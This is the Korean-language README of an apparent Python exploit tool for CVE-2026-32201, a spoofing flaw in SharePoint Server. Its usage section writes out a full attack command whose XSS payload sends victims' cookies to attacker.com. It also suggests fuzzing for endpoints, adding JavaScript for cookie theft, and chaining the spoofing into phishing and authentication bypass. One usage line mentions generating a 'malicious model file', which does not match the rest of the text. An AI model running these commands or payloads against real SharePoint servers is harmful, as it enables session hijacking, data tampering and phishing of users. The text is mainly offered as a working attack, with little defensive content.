개요

CVE-2026-32201에 대한 Python 익스플로잇 - Microsoft SharePoint Server의 부적절한 입력 검증으로, 인증되지 않은 네트워크 스푸핑을 허용합니다 (C:L/I:L).

• 영향 대상: SharePoint Server 2016 Enterprise, 2019, Subscription Edition < 16.0.19725.20210;
• 벡터: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N;
• 영향: 스푸핑된 알림/문서를 통해 민감한 데이터 조회/변경.

기능

1. SharePoint 핑거프린팅.
2. 입력 검증 우회를 위한 맞춤형 POST (sender_override).
3. 사용자 정의 가능한 페이로드 (발신자, 수신자, 제목, XSS가 포함된 메시지).
4. 검증을 위한 응답 분석.

사용법

1. exploit.py로 저장합니다.
2. 실행하여 악성 모델 파일을 생성합니다:

python3 exploit.py https://sharepoint.target.com \
  --recipient [email protected] \
  --sender "[email protected]" \
  --message "<script>fetch('http://attacker.com/?c='+document.cookie)</script>" \
  --endpoint /_layouts/15/notify.aspx

출력 예시:

[+] SharePoint 감지됨.
[*] https://target.com/_layouts/15/notify.aspx로 스푸핑 요청 전송 중
[+] 상태: 200
[+] 잠재적 성공: 스푸핑된 콘텐츠에 대해 대상 로그/이메일 확인.

사용자 정의

• 엔드포인트 퍼징: ffuf -u https://target.com/FUZZ -w sharepoint-layouts.txt
• XSS 페이로드: 쿠키 탈취를 위해 --message에 JS 추가
• 체이닝: 스푸핑 → 피싱 링크 → 인증 우회

검증

• 성공 지표: 200 OK + 응답에 "sent/success" 포함
• 서버 측: 비정상적인 요청에 대해 ULS 로그/IIS 로그 확인
• 영향: 위조된 발신자에 대한 이메일/문서 모니터링, 데이터 수정 테스트